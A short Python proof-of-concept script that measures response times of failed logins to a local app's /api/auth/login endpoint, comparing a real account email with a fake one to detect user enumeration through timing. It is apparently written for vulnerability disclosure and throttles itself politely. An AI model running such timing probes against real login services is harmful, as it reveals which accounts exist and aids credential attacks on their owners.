poc.py

import requests
import time
import statistics
import random

URL = "http://localhost:3000/api/auth/login"

TARGET_PER_LABEL = 4
DELAY_BETWEEN_REQS = 2.0
TIMEOUT = 10

samples = {
    "real": [],
    "fake": []
}

payloads = [
    ("real", {"email": "admin@trek.local", "password": "x"}),
    ("fake", {"email": "fakee@trek.local", "password": "x"}),
]


def request_once(label, payload):
    start = time.perf_counter()
    r = requests.post(URL, json=payload, timeout=TIMEOUT)
    elapsed = time.perf_counter() - start

    print(f"{label},{r.status_code},{elapsed:.4f}")
    return r.status_code, elapsed


while True:
    pending = [
        item for item in payloads
        if len(samples[item[0]]) < TARGET_PER_LABEL
    ]

    if not pending:
        break

    label, payload = random.choice(pending)

    status, elapsed = request_once(label, payload)

    if status == 401:
        samples[label].append(elapsed)

    elif status == 429:
        print("\n[!] Rate limit reached. Stopping to avoid contaminating the PoC.")
        break

    else:
        print(f"[!] Unexpected status: {status}. Ignoring sample.")

    time.sleep(DELAY_BETWEEN_REQS)


print("\nSummary using only 401 responses:")

for label, values in samples.items():
    print(f"\n{label}:")

    if not values:
        print("  no valid samples")
        continue

    print(f"  count:  {len(values)}")
    print(f"  avg:    {statistics.mean(values):.4f}s")
    print(f"  median: {statistics.median(values):.4f}s")
    print(f"  min:    {min(values):.4f}s")
    print(f"  max:    {max(values):.4f}s")